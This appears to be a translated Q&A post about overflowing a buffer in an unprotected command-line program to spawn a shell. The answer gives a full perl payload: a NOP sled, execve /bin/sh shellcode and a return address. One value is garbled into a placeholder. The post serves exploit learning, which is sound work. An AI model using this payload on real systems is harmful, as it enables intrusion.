缓冲区溢出的参数输入

时间:2014-03-20 14:02:21

标签: c input buffer command-line-arguments buffer-overflow

我试图在没有堆栈保护的命令行程序上生成一个shell,这个程序接受两个输入数字和一个日期。

./convert <number> <date> 

我希望溢出缓冲区,现在我正在尝试

[nop sled] ..... [shell code] ..... [return address] 

我的问题在于我通过命令行传递nops(或者更准确地说是在GDB中)。在GDB中,我使用参数运行:1 \x90\x90\x90\x90.... 700字节值,输入的内容是实际字符'\' 'x' '9' '0',与nop的十六进制值相反。我怎样才能正确输入? (我知道这是因为EIP给了我{​​{1}},转化为39785c30)。我该怎么办?

1 个答案:

答案 0 :(得分:0)

好的,明白了!一个人可以使用perl打印功能并使用转义来打印nops(以及你不能用键盘打印的其他字符)。例如perl -e 'print "\x90"',它会将0x90发送到内存(或任何你需要的内容)。

我做了类似的事情:

egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5')

谢谢大家的帮助!